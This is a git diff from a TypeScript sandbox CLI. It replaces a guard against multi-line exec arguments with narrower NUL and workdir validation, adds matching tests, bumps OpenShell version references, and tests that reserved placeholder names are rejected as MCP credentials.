+  return { ...actual, spawn: vi.fn() };
+});
+
+import { buildOpenshellExecArgs, execSandbox, wrapExecCommandWithRuntimeEnv } from "./exec";
+
+function expectedExecArgs(sandboxName: string, command: readonly string[]): string[] {
+  return buildOpenshellExecArgs(sandboxName, wrapExecCommandWithRuntimeEnv(command));
+}
+
+function exitWithCode(): ReturnType<typeof vi.spyOn> {
+  return vi.spyOn(process, "exit").mockImplementation(((code?: number) => {
+    throw new Error(`exit:${code}`);
+  }) as never);
+}
+
+describe("execSandbox multi-line argv", () => {
+  afterEach(() => {
+    vi.restoreAllMocks();
+  });
+
+  it.each([
+    {
+      label: "LF",
+      command: ["python3", "-c", "print('one')\nprint('two')"],
+    },
+    {
+      label: "CR",
+      command: ["python3", "-c", "one\rtwo"],
+    },
+    {
+      label: "CRLF",
+      command: ["python3", "-c", "print('one')\r\nprint('two')"],
+    },
+    {
+      label: "embedded single and double quotes",
+      command: ["python3", "-c", 'print("it\'s byte-exact")\nprint(\'a \\"quote\\"\')'],
+    },
+    {
+      label: "heredoc",
+      command: ["bash", "-lc", "cat <<'EOF'\nline one\nline 'two'\nEOF"],
+    },
+  ])("forwards $label bytes unchanged through the OpenShell argv boundary", async ({ command }) => {
+    const exitSpy = exitWithCode();
+    vi.spyOn(console, "error").mockImplementation(() => {});
+    const run = vi.fn((_binary: string, _args: readonly string[]) => ({ status: 0 }));
+
+    await expect(
+      execSandbox("multiline-test", command, {}, { run, resolveBinary: () => "openshell" }),
+    ).rejects.toThrow("exit:0");
+
+    expect(run).toHaveBeenCalledOnce();
+    expect(run).toHaveBeenCalledWith("openshell", expectedExecArgs("multiline-test", command));
+    const forwarded = vi.mocked(run).mock.calls[0][1];
+    expect(forwarded.slice(-command.length)).toEqual(command);
+    expect(exitSpy).toHaveBeenCalledWith(0);
+  });
+
+  it("still rejects a NUL-bearing command argument before dispatch", async () => {
+    const exitSpy = exitWithCode();
+    const errSpy = vi.spyOn(console, "error").mockImplementation(() => {});
+    const run = vi.fn(() => ({ status: 0 }));
+
+    await expect(execSandbox("multiline-test", ["printf", "a\0b"], {}, { run })).rejects.toThrow(
+      "exit:2",
+    );
+
+    expect(run).not.toHaveBeenCalled();
+    expect(errSpy).toHaveBeenCalledWith(
+      "error: command argument 2 contains a NUL byte, which OpenShell exec does not accept",
+    );
+    expect(exitSpy).toHaveBeenCalledWith(2);
+  });
+
+  it.each([
+    "/sandbox/line-one\nline-two",
+    "/sandbox/line-one\rline-two",
+    "/sandbox/line-one\r\nline-two",
+  ])("still rejects a multi-line --workdir before probing or dispatch: %j", async (workdir) => {
+    const exitSpy = exitWithCode();
+    const errSpy = vi.spyOn(console, "error").mockImplementation(() => {});
+    const probeWorkdir = vi.fn(() => ({ status: 0 }));
+    const run = vi.fn(() => ({ status: 0 }));
+
+    await expect(
+      execSandbox(
+        "multiline-test",
+        ["pwd"],
+        { workdir },
+        { run, resolveBinary: () => "openshell", probeWorkdir },
+      ),
+    ).rejects.toThrow("exit:2");
+
+    expect(probeWorkdir).not.toHaveBeenCalled();
+    expect(run).not.toHaveBeenCalled();
+    expect(errSpy).toHaveBeenCalledWith(
+      "error: --workdir must not contain newlines or carriage returns",
+    );
+    expect(exitSpy).toHaveBeenCalledWith(2);
+  });
+
+  it("still rejects a NUL-bearing --workdir before probing or dispatch", async () => {
+    const exitSpy = exitWithCode();
+    const errSpy = vi.spyOn(console, "error").mockImplementation(() => {});
+    const probeWorkdir = vi.fn(() => ({ status: 0 }));
+    const run = vi.fn(() => ({ status: 0 }));
+
+    await expect(
+      execSandbox(
+        "multiline-test",
+        ["pwd"],
+        { workdir: "/sandbox/a\0b" },
+        { run, resolveBinary: () => "openshell", probeWorkdir },
+      ),
+    ).rejects.toThrow("exit:2");
+
+    expect(probeWorkdir).not.toHaveBeenCalled();
+    expect(run).not.toHaveBeenCalled();
+    expect(errSpy).toHaveBeenCalledWith("error: --workdir must not contain NUL bytes");
+    expect(exitSpy).toHaveBeenCalledWith(2);
+  });
+
+  it("does not populate OpenShell's separately validated request-environment field", () => {
+    const argv = buildOpenshellExecArgs("multiline-test", ["printf", "line one\nline two"]);
+
+    // NemoClaw's public exec surface has no request-environment option. Runtime
+    // metadata is sourced inside the command wrapper, so allowing line breaks
+    // in command argv cannot broaden OpenShell's environment-value contract.
+    expect(argv).not.toContain("--env");
+    expect(argv.slice(-2)).toEqual(["printf", "line one\nline two"]);
+  });
+
+  it("still validates a single-line --workdir before dispatch", async () => {
+    const exitSpy = exitWithCode();
+    const errSpy = vi.spyOn(console, "error").mockImplementation(() => {});
+    const probeWorkdir = vi.fn(() => ({ status: 1 }));
+    const run = vi.fn(() => ({ status: 0 }));
+
+    await expect(
+      execSandbox(
+        "multiline-test",
+        ["pwd"],
+        { workdir: "/no/such/dir" },
+        { run, resolveBinary: () => "openshell", probeWorkdir },
+      ),
+    ).rejects.toThrow("exit:1");
+
+    expect(probeWorkdir).toHaveBeenCalled();
+    expect(run).not.toHaveBeenCalled();
+    expect(errSpy).toHaveBeenCalledWith(
+      "error: --workdir: /no/such/dir does not exist inside the sandbox",
+    );
+    expect(exitSpy).toHaveBeenCalledWith(1);
+  });
+
+  it.each([
+    { label: "inherits stdin after explicit --stdin", stdin: true, expectedStdio: "inherit" },
+    {
+      label: "closes stdin after explicit --no-stdin",
+      stdin: false,
+      expectedStdio: ["ignore", "inherit", "inherit"],
+    },
+  ])("dispatches the default runner and $label", async ({ stdin, expectedStdio }) => {
+    const childEvents = new EventEmitter();
+    const child = {
+      exitCode: null,
+      signalCode: null,
+      kill: vi.fn(),
+      once: ((event: string, listener: (...args: unknown[]) => void) =>
+        childEvents.once(event, listener)) as never,
+    };
+    vi.mocked(spawn).mockReset();
+    vi.mocked(spawn).mockImplementation(((): never => {
+      queueMicrotask(() => childEvents.emit("close", 0, null));
+      return child as never;
+    }) as never);
+    const exitSpy = exitWithCode();
+    vi.spyOn(console, "error").mockImplementation(() => {});
+
+    await expect(
+      execSandbox("multiline-test", ["bash"], { stdin }, { resolveBinary: () => "openshell" }),
+    ).rejects.toThrow("exit:0");
+
+    expect(spawn).toHaveBeenCalledWith("openshell", expectedExecArgs("multiline-test", ["bash"]), {
+      stdio: expectedStdio,
+    });
+    expect(exitSpy).toHaveBeenCalledWith(0);
+  });
+});
diff --git a/src/lib/actions/sandbox/exec.multiline-guard.test.ts b/src/lib/actions/sandbox/exec.multiline-guard.test.ts
deleted file mode 100644
index fe7047da36..0000000000
--- a/src/lib/actions/sandbox/exec.multiline-guard.test.ts
+++ /dev/null
@@ -1,345 +0,0 @@
-// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
-// SPDX-License-Identifier: Apache-2.0
-
-import { spawn } from "node:child_process";
-import { EventEmitter } from "node:events";
-import { afterEach, describe, expect, it, vi } from "vitest";
-
-// The default exec runner shells out via spawn and chooses whether to inherit
-// or ignore stdin. Mock node:child_process so the tests can assert that wiring
-// at the execSandbox boundary without spawning a real process. Every other test
-// injects a runner/probe seam.
-vi.mock("node:child_process", async (importOriginal) => {
-  const actual = await importOriginal<typeof import("node:child_process")>();
-  return { ...actual, spawn: vi.fn() };
-});
-
-// execSandbox dynamically requires the OpenShell binary lookup, which exits the
-// process when OpenShell is absent. The dispatch-path tests inject a
-// resolveBinary seam (plus a runner and workdir probe) so they stay hermetic
-// without spawning a real process or hitting that process-exiting lookup.
-import {
-  buildOpenshellExecArgs,
-  execSandbox,
-  findMultilineExecArg,
-  multilineExecMessage,
-  wrapExecCommandWithRuntimeEnv,
-} from "./exec";
-
-function expectedExecArgs(sandboxName: string, command: readonly string[]): string[] {
-  return buildOpenshellExecArgs(sandboxName, wrapExecCommandWithRuntimeEnv(command));
-}
-
-describe("findMultilineExecArg", () => {
-  it("returns -1 when every argument is single-line", () => {
-    expect(findMultilineExecArg(["bash", "-lc", "echo line1; echo line2"])).toBe(-1);
-  });
-
-  it("returns the index of the first argument containing a newline", () => {
-    expect(findMultilineExecArg(["bash", "-lc", "cat <<EOF\nline1\nline2\nEOF"])).toBe(2);
-  });
-
-  it("detects a bare carriage return as well as a newline", () => {
-    expect(findMultilineExecArg(["printf", "a\rb"])).toBe(1);
-  });
-
-  it("treats Unicode line separators (U+2028/U+2029) as single-line because OpenShell rejects only CR/LF", () => {
-    // The guard deliberately mirrors OpenShell's CR/LF-only rejection, so these
-    // code points are valid argv that dispatch unchanged. Broadening the guard
-    // to match them would reject commands OpenShell would otherwise run.
-    expect(findMultilineExecArg(["printf", "a\u2028b"])).toBe(-1);
-    expect(findMultilineExecArg(["printf", "a\u2029b"])).toBe(-1);
-  });
-
-  it("reports the earliest offending argument when several are multi-line", () => {
-    expect(findMultilineExecArg(["a", "b\nc", "d\ne"])).toBe(1);
-  });
-});
-
-describe("multilineExecMessage", () => {
-  it("names the 1-based argument position and offers the semicolon, pipe, and script workarounds", () => {
-    const message = multilineExecMessage(
-      "nemoclaw",
-      "bug5980test",
-      ["bash", "-lc", "cat <<EOF\nline1\nEOF"],
-      2,
-    );
-    expect(message).toContain("command argument 3");
-    expect(message).toContain("contains a newline or carriage return");
-    expect(message).toContain('nemoclaw bug5980test exec -- bash -lc "cmd1; cmd2"');
-    expect(message).toContain("| nemoclaw bug5980test exec --stdin -- bash");
-    expect(message).toContain("nemoclaw bug5980test exec -- bash <script-path>");
-  });
-
-  it("uses the active CLI name so the Hermes surface gets nemohermes guidance", () => {
-    const message = multilineExecMessage("nemohermes", "alpha", ["bash", "-lc", "a\nb"], 2);
-    expect(message).toContain("nemohermes alpha exec --stdin -- bash");
-    expect(message).not.toContain("nemoclaw");
-  });
-
-  it("describes the argument by size without echoing its contents (avoids leaking secrets)", () => {
-    // A multi-line value can carry pasted secrets; the message must never
-    // reproduce its contents. Use a neutral sentinel so the secret-scanner
-    // hooks do not flag the test fixture itself.
-    const sensitive = "SENSITIVE_LINE_ONE\nSENSITIVE_LINE_TWO\nSENSITIVE_LINE_THREE";
-    const message = multilineExecMessage("nemoclaw", "alpha", ["bash", "-lc", sensitive], 2);
-    // The neutral size description appears...
-    expect(message).toContain(`${sensitive.length} characters spanning 3 lines`);
-    // ...but no fragment of the payload is ever printed.
-    expect(message).not.toContain("SENSITIVE_LINE");
-    // Each line of the rendered message is itself free of stray carriage
-    // returns (the message is multi-line by design, joined with "\n").
-    for (const line of message.split("\n")) {
-      expect(line).not.toMatch(/\r/);
-    }
-  });
-
-  it("uses singular units for a single-character single-line argument", () => {
-    const message = multilineExecMessage("nemoclaw", "alpha", ["printf", "\r"], 1);
-    expect(message).toContain("1 character spanning 2 lines");
-  });
-
-  it("counts a trailing newline as a second (empty) line", () => {
-    // A single trailing "\n" splits into ["first", ""], so the size description
-    // reports 2 lines even though only one line carries text. This pins the
-    // documented bare-CR/trailing-break counting behavior.
-    const message = multilineExecMessage("nemoclaw", "alpha", ["bash", "-lc", "first\n"], 2);
-    expect(message).toContain("6 characters spanning 2 lines");
-  });
-});
-
-describe("execSandbox multi-line guard (#5980)", () => {
-  afterEach(() => {
-    vi.restoreAllMocks();
-  });
-
-  it("rejects a multi-line command argument before dispatch with actionable guidance", async () => {
-    const exitSpy = vi.spyOn(process, "exit").mockImplementation(((_code?: number) => {
-      throw new Error(`exit:${_code}`);
-    }) as never);
-    const errSpy = vi.spyOn(console, "error").mockImplementation(() => {});
-    const run = vi.fn(() => ({ status: 0 }));
-
-    await expect(
-      execSandbox("bug5980test", ["bash", "-lc", "cat <<EOF\nline1\nline2\nEOF"], {}, { run }),
-    ).rejects.toThrow("exit:2");
-
-    expect(exitSpy).toHaveBeenCalledWith(2);
-    // The guard short-circuits before OpenShell is ever invoked: the injected
-    // exec runner is never called and dispatch never happens.
-    expect(run).not.toHaveBeenCalled();
-    const printed = errSpy.mock.calls.map((call) => String(call[0])).join("\n");
-    expect(printed).toContain("contains a newline or carriage return");
-    expect(printed).toContain('bash -lc "cmd1; cmd2"');
-  });
-
-  it("forwards the semicolon workaround to dispatch and exits with the inner status", async () => {
-    // The reporter's confirmed workaround (`bash -lc "cmd1; cmd2"`) carries no
-    // newline/carriage return, so it passes the guard and dispatches. Injecting
-    // resolveBinary avoids the process-exiting OpenShell lookup, and the runner
-    // returns success so we can assert the argv forwarded and the exit code.
-    const exitSpy = vi.spyOn(process, "exit").mockImplementation(((code?: number) => {
-      throw new Error(`exit:${code}`);
-    }) as never);
-    vi.spyOn(console, "error").mockImplementation(() => {});
-    const run = vi.fn(() => ({ status: 0 }));
-
-    await expect(
-      execSandbox(
-        "bug5980test",
-        ["bash", "-lc", "echo line1; echo line2"],
-        {},
-        { run, resolveBinary: () => "openshell" },
-      ),
-    ).rejects.toThrow("exit:0");
-
-    expect(run).toHaveBeenCalledWith(
-      "openshell",
-      expectedExecArgs("bug5980test", ["bash", "-lc", "echo line1; echo line2"]),
-    );
-    expect(exitSpy).toHaveBeenCalledWith(0);
-  });
-
-  it("forwards a Unicode line-separator argument through dispatch (OpenShell accepts U+2028/U+2029; only CR/LF are guarded)", async () => {
-    // The guard mirrors OpenShell's CR/LF-only rejection, so an argument that
-    // carries U+2028 passes the guard and dispatches unchanged at the
-    // execSandbox boundary — confirming the documented assumption end-to-end on
-    // the dispatch path, not just in findMultilineExecArg.
-    const exitSpy = vi.spyOn(process, "exit").mockImplementation(((code?: number) => {
-      throw new Error(`exit:${code}`);
-    }) as never);
-    vi.spyOn(console, "error").mockImplementation(() => {});
-    const run = vi.fn(() => ({ status: 0 }));
-
-    await expect(
-      execSandbox(
-        "bug5980test",
-        ["printf", "a\u2028b"],
-        {},
-        { run, resolveBinary: () => "openshell" },
-      ),
-    ).rejects.toThrow("exit:0");
-
-    expect(run).toHaveBeenCalledWith(
-      "openshell",
-      expectedExecArgs("bug5980test", ["printf", "a\u2028b"]),
-    );
-    expect(exitSpy).toHaveBeenCalledWith(0);
-  });
-
-  it("still validates --workdir for a single-line command and fails with the workdir error, not the multi-line error", async () => {
-    // Guard ordering: the multi-line check runs before the workdir probe. A
-    // valid single-line command with a missing --workdir must surface the
-    // workdir error (exit 1), proving the workdir probe still runs after the
-    // guard and that the guard did not swallow the command.
-    const exitSpy = vi.spyOn(process, "exit").mockImplementation(((code?: number) => {
-      throw new Error(`exit:${code}`);
-    }) as never);
-    const errSpy = vi.spyOn(console, "error").mockImplementation(() => {});
-    const run = vi.fn(() => ({ status: 0 }));
-    const probeWorkdir = vi.fn(() => ({ status: 1 })); // `test -d` failure -> missing
-
-    await expect(
-      execSandbox(
-        "alpha",
-        ["bash", "-lc", "echo ok"],
-        { workdir: "/no/such/dir" },
-        { run, resolveBinary: () => "openshell", probeWorkdir },
-      ),
-    ).rejects.toThrow("exit:1");
-
-    expect(probeWorkdir).toHaveBeenCalled();
-    expect(exitSpy).toHaveBeenCalledWith(1);
-    const printed = errSpy.mock.calls.map((call) => String(call[0])).join("\n");
-    expect(printed).toContain("does not exist inside the sandbox");
-    expect(printed).not.toContain("newline or carriage return");
-    // The workdir probe failed, so the command is never dispatched.
-    expect(run).not.toHaveBeenCalled();
-  });
-
-  it("rejects a multi-line command before probing --workdir (guard runs first)", async () => {
-    // Ordering guarantee: when both a multi-line argv and --workdir are present,
-    // the multi-line guard must exit 2 *before* the workdir probe runs, so the
-    // probe is never reached and nothing is dispatched.
-    const exitSpy = vi.spyOn(process, "exit").mockImplementation(((code?: number) => {
-      throw new Error(`exit:${code}`);
-    }) as never);
-    const errSpy = vi.spyOn(console, "error").mockImplementation(() => {});
-    const run = vi.fn(() => ({ status: 0 }));
-    const probeWorkdir = vi.fn(() => ({ status: 0 }));
-
-    await expect(
-      execSandbox(
-        "alpha",
-        ["bash", "-lc", "printf 'a\nb'"],
-        { workdir: "/workspace" },
-        { run, resolveBinary: () => "openshell", probeWorkdir },
-      ),
-    ).rejects.toThrow("exit:2");
-
-    expect(probeWorkdir).not.toHaveBeenCalled();
-    expect(run).not.toHaveBeenCalled();
-    expect(exitSpy).toHaveBeenCalledWith(2);
-    expect(errSpy.mock.calls.map((call) => String(call[0])).join("\n")).toContain(
-      "contains a newline or carriage return",
-    );
-  });
-
-  it("forwards the stdin-pipe workaround argv to dispatch (script travels over stdin, not argv)", async () => {
-    // `printf 'cmd1\ncmd2\n' | nemoclaw <sb> exec --stdin -- bash` puts the
-    // multi-line script on stdin; the forwarded argv is just `bash` (no newline),
-    // so it passes the guard and dispatches. This test pins the argv shape only;
-    // the adjacent stdio test proves the runner forwards explicitly opted-in stdin.
-    const exitSpy = vi.spyOn(process, "exit").mockImplementation(((code?: number) => {
-      throw new Error(`exit:${code}`);
-    }) as never);
-    vi.spyOn(console, "error").mockImplementation(() => {});
-    const run = vi.fn(() => ({ status: 0 }));
-
-    await expect(
-      execSandbox("bug5980test", ["bash"], {}, { run, resolveBinary: () => "openshell" }),
-    ).rejects.toThrow("exit:0");
-
-    expect(run).toHaveBeenCalledWith("openshell", expectedExecArgs("bug5980test", ["bash"]));
-    expect(exitSpy).toHaveBeenCalledWith(0);
-  });
-
-  it.each([
-    { label: "inherits stdin after explicit --stdin", stdin: true, expectedStdio: "inherit" },
-    {
-      label: "closes stdin after explicit --no-stdin",
-      stdin: false,
-      expectedStdio: ["ignore", "inherit", "inherit"],
-    },
-  ])("dispatches the default runner and $label", async ({ stdin, expectedStdio }) => {
-    // Exercise the *default* runner (no injected `run`) so the assertion covers
-    // the production child-process wiring, not only the pure stdio selector.
-    const childEvents = new EventEmitter();
-    const child = {
-      exitCode: null,
-      signalCode: null,
-      kill: vi.fn(),
-      once: ((event: string, listener: (...args: unknown[]) => void) =>
-        childEvents.once(event, listener)) as never,
-    };
-    vi.mocked(spawn).mockReset();
-    vi.mocked(spawn).mockImplementation(((): never => {
-      // Resolve the runner once the close handler is registered.
-      queueMicrotask(() => childEvents.emit("close", 0, null));
-      return child as never;
-    }) as never);
-    const exitSpy = vi.spyOn(process, "exit").mockImplementation(((code?: number) => {
-      throw new Error(`exit:${code}`);
-    }) as never);
-    vi.spyOn(console, "error").mockImplementation(() => {});
-
-    await expect(
-      execSandbox("bug5980test", ["bash"], { stdin }, { resolveBinary: () => "openshell" }),
-    ).rejects.toThrow("exit:0");
-
-    expect(spawn).toHaveBeenCalledWith("openshell", expectedExecArgs("bug5980test", ["bash"]), {
-      stdio: expectedStdio,
-    });
-    expect(exitSpy).toHaveBeenCalledWith(0);
-  });
-
-  it("forwards the script-file workaround to dispatch (bash <script-path>)", async () => {
-    // `nemoclaw <sb> exec -- bash <script-path>` runs a script already written
-    // into the sandbox; the argv carries no newline and dispatches unchanged.
-    const exitSpy = vi.spyOn(process, "exit").mockImplementation(((code?: number) => {
-      throw new Error(`exit:${code}`);
-    }) as never);
-    vi.spyOn(console, "error").mockImplementation(() => {});
-    const run = vi.fn(() => ({ status: 0 }));
-
-    await expect(
-      execSandbox(
-        "bug5980test",
-        ["bash", "/sandbox/run.sh"],
-        {},
-        { run, resolveBinary: () => "openshell" },
-      ),
-    ).rejects.toThrow("exit:0");
-
-    expect(run).toHaveBeenCalledWith(
-      "openshell",
-      expectedExecArgs("bug5980test", ["bash", "/sandbox/run.sh"]),
-    );
-    expect(exitSpy).toHaveBeenCalledWith(0);
-  });
-
-  it("builds the forwarded argv unchanged for the single-line semicolon workaround", () => {
-    const command = ["bash", "-lc", "echo line1; echo line2"];
-    expect(findMultilineExecArg(command)).toBe(-1);
-    expect(buildOpenshellExecArgs("bug5980test", command)).toEqual([
-      "sandbox",
-      "exec",
-      "--name",
-      "bug5980test",
-      "--",
-      "bash",
-      "-lc",
-      "echo line1; echo line2",
-    ]);
-  });
-});
diff --git a/src/lib/actions/sandbox/exec.test.ts b/src/lib/actions/sandbox/exec.test.ts
index 0ef2cb9220..3f1a38a2b8 100644
--- a/src/lib/actions/sandbox/exec.test.ts
+++ b/src/lib/actions/sandbox/exec.test.ts
@@ -3,9 +3,9 @@
 
 import { afterEach, describe, expect, it, vi } from "vitest";
 
-// The multi-line guard suites (findMultilineExecArg, multilineExecMessage, and
-// the execSandbox dispatch guard for #5980) live in exec.multiline-guard.test.ts
-// so this file stays focused on argv construction and the workdir probe.
+// Multi-line command argv dispatch and field-specific rejection coverage lives
+// in exec.multiline-argv.test.ts so this file stays focused on argv construction
+// and the workdir probe.
 import {
   buildOpenshellExecArgs,
   buildWorkdirProbeArgs,
diff --git a/src/lib/actions/sandbox/exec.ts b/src/lib/actions/sandbox/exec.ts
index 680473d52d..e578f853b2 100644
--- a/src/lib/actions/sandbox/exec.ts
+++ b/src/lib/actions/sandbox/exec.ts
@@ -100,75 +100,23 @@ export function buildWorkdirProbeArgs(sandboxName: string, workdir: string): str
   return ["sandbox", "exec", "--name", sandboxName, "--", "test", "-d", workdir];
 }
 
-// OpenShell's `sandbox exec` rejects any argv element that contains a newline
-// or carriage return ("command argument N contains newline or carriage return
-// characters"). Multi-line commands such as heredocs therefore fail with a
-// low-level InvalidArgument error that gives the reporter no NemoClaw-specific
-// recovery path (#5980). We detect the offending argument before dispatch and
-// fail with actionable guidance instead.
-//
-// Source-of-truth for this guard:
-//   - Invalid state: OpenShell's exec endpoint returns InvalidArgument for any
-//     argv element containing \r or \n.
-//   - Source boundary: the limitation lives in the external OpenShell
-//     `sandbox exec` argv contract, not in NemoClaw. We cannot fix it at the
-//     source from this repo, so the guard is a deliberately localized
-//     translation of that constraint into actionable NemoClaw guidance.
-//   - Regression coverage: `findMultilineExecArg`, `multilineExecMessage`, and
-//     the `execSandbox multi-line guard (#5980)` suite in exec.test.ts.
-//   - Removal condition: if a future OpenShell release accepts multi-line argv
-//     elements (tracked upstream in NVIDIA/OpenShell#2110), this guard and the
-//     matching docs notice in docs/reference/commands.mdx becomes unnecessary
-//     and should be removed with its generated variants.
-//
-// The pattern is intentionally limited to \r and \n: OpenShell rejects only
-// "newline or carriage return characters", so Unicode line separators (U+2028
-// LINE SEPARATOR, U+2029 PARAGRAPH SEPARATOR) are valid argv that OpenShell
-// accepts. Broadening the pattern to those code points would reject commands
-// OpenShell would otherwise run, so the guard deliberately mirrors OpenShell's
-// exact constraint rather than a general "line break" notion.
-const MULTILINE_ARG_PATTERN = /[\r\n]/;
-
-/** @internal Exported for unit testing only; not part of the public API. */
-export function findMultilineExecArg(command: readonly string[]): number {
-  for (let index = 0; index < command.length; index += 1) {
-    if (MULTILINE_ARG_PATTERN.test(command[index])) return index;
+// OpenShell accepts LF/CR in command argv while retaining field-specific
+// rejection for NUL-bearing command args and NUL/LF/CR-bearing workdirs. Keep
+// the downstream check narrow so inline scripts remain byte-exact. NemoClaw's
+// public exec surface does not populate OpenShell's request-environment field,
+// whose values remain subject to OpenShell's own NUL/LF/CR validation.
+function execInputError(command: readonly string[], workdir: string | undefined): string | null {
+  const nulIndex = command.findIndex((arg) => arg.includes("\0"));
+  if (nulIndex !== -1) {
+    return `error: command argument ${nulIndex + 1} contains a NUL byte, which OpenShell exec does not accept`;
   }
-  return -1;
-}
-
-// Describe the offending argument WITHOUT echoing its contents: a multi-line
-// value can carry pasted secrets, env files, or private-key material, and
-// printing even a truncated preview risks persisting it in terminal or CI logs.
-// The 1-based position plus a neutral size description is enough for the user
-// to find the argument they typed.
-function describeMultilineArg(arg: string): string {
-  // Split on all three newline conventions (CRLF, bare CR, bare LF) so the
-  // count matches what a user sees regardless of platform. The alternation is
-  // ordered CRLF-first so a Windows "\r\n" counts as one break, not two. A
-  // single trailing break still yields a count of 2 (the empty final segment),
-  // which is correct: a lone "\r" argument spans two lines.
-  const lineCount = arg.split(/\r\n|\r|\n/).length;
-  const charLabel = arg.length === 1 ? "character" : "characters";
-  const lineLabel = lineCount === 1 ? "line" : "lines";
-  return `${arg.length} ${charLabel} spanning ${lineCount} ${lineLabel}`;
-}
-
-export function multilineExecMessage(
-  cliName: string,
-  sandboxName: string,
-  command: readonly string[],
-  index: number,
-): string {
-  // Report a 1-based position within the user command (the args after `--`).
-  const position = index + 1;
-  return [
-    `error: command argument ${position} (${describeMultilineArg(command[index])}) contains a newline or carriage return, which OpenShell exec does not accept.`,
-    "Multi-line commands (for example heredocs) cannot be passed through exec argv. Instead:",
-    `  - join statements with semicolons: ${cliName} ${sandboxName} exec -- bash -lc "cmd1; cmd2"`,
-    `  - pipe the script into the sandbox shell over stdin: printf 'cmd1\\ncmd2\\n' | ${cliName} ${sandboxName} exec --stdin -- bash`,
-    `  - or write the script to a file in the sandbox and run it: ${cliName} ${sandboxName} exec -- bash <script-path>`,
-  ].join("\n");
+  if (workdir?.includes("\0")) {
+    return "error: --workdir must not contain NUL bytes";
+  }
+  if (workdir && /[\r\n]/.test(workdir)) {
+    return "error: --workdir must not contain newlines or carriage returns";
+  }
+  return null;
 }
 
 export function workdirMissingMessage(workdir: string): string {
@@ -407,9 +355,9 @@ export async function execSandbox(
     );
     process.exit(2);
   }
-  const multilineIndex = findMultilineExecArg(command);
-  if (multilineIndex !== -1) {
-    console.error(multilineExecMessage(CLI_NAME, sandboxName, command, multilineIndex));
+  const inputError = execInputError(command, options.workdir);
+  if (inputError) {
+    console.error(inputError);
     process.exit(2);
   }
   const binary = (deps.resolveBinary ?? defaultResolveBinary)();
diff --git a/src/lib/actions/sandbox/forward-recovery.ts b/src/lib/actions/sandbox/forward-recovery.ts
index deaa4506fa..10a9fd2eed 100644
--- a/src/lib/actions/sandbox/forward-recovery.ts
+++ b/src/lib/actions/sandbox/forward-recovery.ts
@@ -192,13 +192,13 @@ export function ensureSandboxPortForwardForPort(
     );
   }
 
-  // OpenShell v0.0.72 removes the forward PID file shortly after SIGTERM,
+  // OpenShell v0.0.85 removes the forward PID file shortly after SIGTERM,
   // before the old SSH listener is guaranteed to release its host port. A
   // blind stop -> start can therefore collide with the just-stopped process.
   // Preserve authoritative owner metadata while waiting: accept a target-
   // owned forward that recovered on its own, reject another sandbox, and only
   // start after an otherwise-unowned local listener has actually quiesced.
-  // NemoClaw must compensate while the already-released OpenShell 0.0.72
+  // NemoClaw must compensate while the supported OpenShell 0.0.85
   // contract remains supported; test/process-recovery.test.ts locks both the
   // delayed-release and fail-closed cases. Remove this wait only after every
   // supported OpenShell release either waits for host-listener release before
@@ -235,7 +235,7 @@ export function ensureSandboxPortForwardForPort(
     ["forward", "start", "--background", forwardTarget, sandboxName],
     {
       ignoreError: true,
-      // OpenShell 0.0.72 leaves the background SSH forward attached to the
+      // OpenShell 0.0.85 leaves the background SSH forward attached to the
       // caller's inherited descriptors. Detach them so a scripted `recover`
       // can finish after the foreground OpenShell command exits. Keep this
       // until every supported OpenShell release redirects those descriptors.
diff --git a/src/lib/actions/sandbox/mcp-bridge-input-validation.test.ts b/src/lib/actions/sandbox/mcp-bridge-input-validation.test.ts
index 1128356eb6..93b2e02bcf 100644
--- a/src/lib/actions/sandbox/mcp-bridge-input-validation.test.ts
+++ b/src/lib/actions/sandbox/mcp-bridge-input-validation.test.ts
@@ -14,7 +14,7 @@ import {
   parseMcpAddArgs,
   resolveCredentialEnv,
 } from "./mcp-bridge";
-import childVisibleCredentialManifest from "./openshell-child-visible-credentials.v0.0.72.json";
+import childVisibleCredentialManifest from "./openshell-child-visible-credentials.v0.0.85.json";
 
 describe("MCP CLI input validation", () => {
   it("parses server, URL, and env references", () => {
@@ -39,6 +39,28 @@ describe("MCP CLI input validation", () => {
     ).toThrow(/process arguments and shell history/);
   });
 
+  it("rejects OpenShell revisioned placeholder names as MCP credentials (#6379)", () => {
+    for (const name of ["v1_TOKEN", "v999999_very_unlikely", "v0_1"]) {
+      expect(() =>
+        parseMcpAddArgs(["github", "--url", "https://mcp.example.test/mcp", "--env", name]),
+      ).toThrow(/reserved for OpenShell credential revisions/);
+      expect(() => resolveCredentialEnv([{ name, value: "host-only-secret" }])).toThrow(
+        /would be skipped instead of attached/,
+      );
+      expect(() =>
+        buildMcpBridgeProviderArgs("create", "provider", [{ name }], {
+          [name]: "host-only-secret",
+        }),
+      ).toThrow(/reserved for OpenShell credential revisions/);
+    }
+
+    for (const name of ["v_TOKEN", "v10_", "versioned_token", "V10_TOKEN"]) {
+      expect(() =>
+        parseMcpAddArgs(["github", "--url", "https://mcp.example.test/mcp", "--env", name]),
+      ).not.toThrow();
+    }
+  });
+
   // source-shape-contract: compatibility -- Pinned OpenShell child-visible keys must drive credential rejection through every MCP boundary
   it("rejects OpenShell child-environment compatibility keys as MCP credentials", () => {
     for (const name of childVisibleCredentialManifest.rawChildValueKeys) {
diff --git a/src/lib/actions/sandbox/mcp-bridge-provider-mutation.ts b/src/lib/actions/sandbox/mcp-bridge-provider-mutation.ts
index 32895b5435..8ca6a54613 100644
--- a/src/lib/actions/sandbox/mcp-bridge-provider-mutation.ts
+++ b/src/lib/actions/sandbox/mcp-bridge-provider-mutation.ts
@@ -2,7 +2,7 @@
 // SPDX-License-Identifier: Apache-2.0
 
 /**
- * OpenShell v0.0.72 provider mutations have no compare-and-swap operation, so
+ * OpenShell v0.0.85 provider mutations have no compare-and-swap operation, so
  * another client can race between NemoClaw's preinspection and mutation. A
  * nonzero mutation result is therefore ambiguous and always fails closed;
  * NemoClaw never infers success from a later resource-version increase.
@@ -121,7 +121,7 @@ export function upsertMcpProvider(
   options.prepareMutation?.(action);
   // invalidState: another OpenShell client replaces a mutable provider name
   // between inspection and mutation. sourceBoundary: OpenShell owns provider
-  // compare-and-swap; v0.0.72 exposes no provider CAS flags. whyNotSourceFix:
+  // compare-and-swap; v0.0.85 exposes no provider CAS flags. whyNotSourceFix:
   // NemoClaw cannot atomically mutate the upstream store, so it uses randomized
   // names, a lifecycle mutex, and immutable-ID/resource-version reinspection.
   // regressionTest: mcp-provider-ownership.test.ts simulates a concurrent
